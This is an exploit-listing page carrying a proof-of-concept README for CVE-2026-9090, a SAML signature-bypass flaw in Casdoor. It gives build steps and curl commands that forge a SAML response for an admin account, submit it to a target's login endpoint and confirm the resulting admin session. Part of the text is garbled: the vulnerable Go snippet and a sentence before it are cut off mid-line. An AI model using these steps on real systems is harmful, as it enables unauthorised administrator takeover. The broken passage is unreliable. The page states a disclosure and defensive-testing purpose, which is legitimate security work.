Exploit for CVE-2026-9090

## https://sploitus.com/exploit?id=037DB8B0-683D-57CC-AE61-99A990118DB0
# CVE-2026-9090 — Casdoor SAML Signature Bypass (PoC)

Proof-of-concept for **CVE-2026-9090** (CWE-347, *Improper Verification of Cryptographic Signature*),
an authentication bypass in the [Casdoor](https://github.com/casdoor/casdoor) identity platform.

> **Attribution.** CVE-2026-9090 was published and coordinated by **CERT/CC** — see
> [VU#780781](https://kb.cert.org/vuls/id/780781). This repository is an **independent, reproduction-only**
> proof of concept for the already-public vulnerability; it does **not** claim discovery of the issue.

## The vulnerability

When Casdoor consumes a SAML response at `POST /api/acs` (login via an external SAML provider), the
function `buildSpCertificateStore` builds the signature trust anchor from the `` **embedded
in the incoming SAML response itself**, instead of the certificate registered for the identity provider.

```go
// object/saml_sp.go  (vulnerable, `. It uses the same
`goxmldsig` library Casdoor uses, so the canonicalization and signature format are accepted as-is.

## Build

```bash
go mod init cve-2026-9090-poc      # or: go build directly in this repo
go get github.com/beevik/etree github.com/russellhaering/goxmldsig
go build -o forge_saml forge_saml.go
```

## Usage

```bash
# 1) forge a response for an existing (admin) NameID, aimed at the target's ACS URL
./forge_saml \
  --nameid admin@example.com \
  --acs      http://TARGET:8000/api/acs \
  --audience http://TARGET:8000/api/acs \
  > forged.b64

# 2) submit it. NOTE: Casdoor url-unescapes SAMLResponse before base64-decoding, so the value MUST be
#    url-encoded (a raw '+' would be turned into a space -> "illegal base64 data").
ENC=$(python3 -c 'import urllib.parse;print(urllib.parse.quote(open("forged.b64").read().strip()))')
curl -s -c cookie.txt \
  "http://TARGET:8000/api/login?application=APP&organization=ORG&provider=SAML_PROVIDER&method=signup" \
  -H 'Content-Type: application/json' \
  -d "{\"application\":\"APP\",\"organization\":\"ORG\",\"provider\":\"SAML_PROVIDER\",\"method\":\"signup\",\"type\":\"login\",\"samlResponse\":\"$ENC\"}"
# -> {"status":"ok","data":"ORG/admin"}

# 3) confirm the session
curl -s -b cookie.txt http://TARGET:8000/api/get-account | jq '.data | {name,isAdmin,owner}'
```

`APP`, `ORG`, and `SAML_PROVIDER` are the application name, organization, and the SAML provider bound to
that application. A Casdoor application's registration (including its bound providers) is readable at
`/api/get-application?id=admin/`.

## Responsible use

This PoC is published for a **fixed, publicly disclosed** vulnerability, for defensive testing, detection
engineering, and research. Only run it against systems you are authorised to test. The correct remediation
is to upgrade Casdoor to a release where `buildSpCertificateStore` validates against the registered provider
certificate.

## References

- CERT/CC VU#780781 — https://kb.cert.org/vuls/id/780781
- Casdoor — https://github.com/casdoor/casdoor
- CWE-347 — https://cwe.mitre.org/data/definitions/347.html

## License

MIT — see `LICENSE`.